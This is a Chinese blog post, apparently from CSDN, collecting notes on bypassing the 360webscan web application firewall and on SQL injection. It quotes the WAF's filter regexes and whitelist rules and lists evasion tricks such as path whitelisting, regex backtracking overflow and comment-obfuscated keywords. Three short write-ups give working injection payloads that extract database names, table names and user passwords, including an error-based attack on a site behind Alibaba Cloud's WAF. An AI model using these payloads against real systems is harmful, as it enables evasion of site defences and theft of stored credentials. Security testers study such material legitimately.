webscan bypass和Sql注入的笔记

一. 360webscan bypass

绕过360webscan通防的方法

1. php_self白名单绕过

原理:

$webscan_white_directory='admin|\/dede\/|\/install\/';

php_self中含有 admin或者 /dede/ 或者 /install/时,不过滤字符。

测试:

在urlpath之后添加 /admin ,/dede/ ,/install/之后不拦截

在这里插入图片描述

2. white_url白名单绕过

原理:

$webscan_white_url = array('index.php' => 'm=admin','post.php' => 'job=postnew&step=post','edit_space_info.php'=>'');

url中加入:

index.php?m=admin,
post.php?job=postnew&step=post 
edit_apace_info.php不过滤

3. 超长字符串绕过正则

原理:

//get拦截规则
$getfilter = "\\b(alert\\(|confirm\\(|prompt\\()\\b|<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b[^>]*?>|^\\+\\/v(8|9)|\\b(and|or)\\b(['\"\\d]+?=['\"\\d]+?|['\"a-zA-Z]+?=['\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
//post拦截规则
$postfilter = "\\b(alert\\(|confirm\\(|prompt\\()\\b|<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b[^>]*?>|\\b(and|or)\\b(['\"\\d]+?=['\"\\d]+?|['\"a-zA-Z]+?=['\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
//cookie拦截规则
$cookiefilter = "\\b(and|or)\\b(['\"\\d]+?=['\"\\d]+?|['\"a-zA-Z]+?=['\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";

绕过该正则:
PHP利用PCRE回溯次数限制绕过某些安全限制

正则匹配时存在回溯,回溯有次数限制。当超过100万一般会false,绕过了正则。

select */* 'a'*1000000 */ from aaa'

在这里插入图片描述

4. 插入绕过正则

insert 数据可以用另几种方式

insert into table set name = 'admin',pass = '123456'
insert table(name,password) values('admin','123456')
insert into table(name,password) select 'admin','123456'

另外,还可以用 replace into来代替insert与update,而且replace into也有和insert into一样的三种写法加上一种普通写法都可以绕过。

5. 老版本绕过

先在使用了360通防的页面上发送?id=union select ’1,2,3'若是拦截,再发送id = union select!1,2,3不拦截,则可以union绕过。

可使用

union select!1,user(),3
union select@1,user(),3

若是数据库编码不是utf-8则可以使用%a0隔绝select与from造成绕过。

select%a0*%a0from%20tables

二. 记一次对360WebScan的Bypass

记一次对WebScan的Bypass

作者发现一个使用360webscan的的waf, 然后对某处存在SQL注入的id进行fuzz,发现^方法未过滤。但最后在注表时出现了from无法绕过情况,只得使用上面介绍的五种bypass的在路径中加入/admin/,绕过waf的方式进行常规注入。但使用异或注入的方式值得学习

#测试: 
id=216^(1=1)^1
id=216^(1=2)^1
#数据库名称长度
id=216^(1=(if(1=(length(database())=$1$),1,0)))^1
#数据库名称,regexp
id=216^(1=if(((database())regexp '^a'),1,0))^1
#注表
id=216^(1=left((select table_name from information_schema.tables where table_schema=database() limit0,1),1)='u')^1
//from被过滤

最终Payload:

xxx/admin/?id=1union select database(),2,3,4,5,6,7,8 -- -

三.记一次Fuzz绕WAF实现SQL 注入

记一次Fuzz绕WAF实现SQL 注入

?id=1’ union select 1,2,3--+ 	拦截  
?id=1’ /*union */select 1,2,3--+ 	拦截  
?id=1' /*union */ 1,2,3--+ 不拦截
?id=1' union 1,2,3--+	不拦截
?id=1' select 1,2,3--+	不拦截
?id=1'/*%0a*/union/*%0a*/select/*%0a*/1,2,3--+   拦截
说明union和select在一起会拦截

写脚本发现以下未拦截

?id=-1/*S%0a*/union/*x%0a*/select/*x%0a*/ 1,2,3

同样最后得到payload

?id=1’ /!20000order/by 3–+
?id=-1’ union /!00000all select/ 1,2,3–+
?id=-1’ union /!00000all select/ 1,database/**/(),3–+
?id=-1’ union /!00000all/ /!00000select 1,2,table_name from/ information_schema.tables where table_schema=‘security’ limit 3,1 --+
?id=-1’ union /!00000all/ /!00000select 1,2,column_name from/ information_schema.columns where table_name=‘users’ limit 2,1 --+
?id=-1’ union /!00000all/ /!00000select 1,2,password from/ users limit 1,1 --+

四. 记一次SQL注入Bypass过程

记一次SQL注入Bypass过程

文章记录一次手动绕waf实现sql注入的过程,在一个明显的sql注入点,丢进sqlmap跑,被阿里云盾防护,拉黑了ip,所以进行手动注入。
成功试出报错注入,但在select from不能同时出现的正则问题上陷入困境,通过查阅各种论坛,最终找到了绕过办法,成功实现注入。

1.信息收集
1、IP:x.x.x.x xx省xx市阿里云
2、独立服务器,无旁站
3、容器:Nginx(访问不存在的目录,404页面)
4、系统:Linux(通过大小写判断,Linux对大小写敏感,Windows大小写不区分)
5、数据库:Mysql(引号报错)
6、脚本:php
试出报错注入payload:

http://xxxx.com/login.php?id=1'and exp(~(select*from(select user())x));--+

1.version()——MySQL版本
2.user()——数据库用户名
3.database()——数据库名
4.@@datadir——数据库路径
5.@@version_compile_os——操作系统版本

但当select from相遇报错

http://xxxx.com/login.php?id=1'and exp(~(select*from(select from xxx where username=xxxx)x));--+

搜集绕过方法:

1、/*!12345select*//**/from
2、/*!50001select*/from
3、Select/**/column_name/**/from
4、/*!/*!select*/column_name/*!/*!from*/
5、空格用/*!*/代替
6、%53elect/*!1,2,schema_name%0aFROM
7、Get+Post,编码,超长内容等等。

/**/这样就直接拦截了,所以上述的payload在此处都失效
最后找到:sql bypass

“正则逃逸大法”:或许大家没听说过这个名词,因为是我起的。我发现很多waf在进行过滤新姿势的时候很是一根筋,最简单的比方,过滤了%23%0a却不过滤%2d%2d%0a?上面提到八成的waf都被%23%0a所绕过。

在这里插入图片描述

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值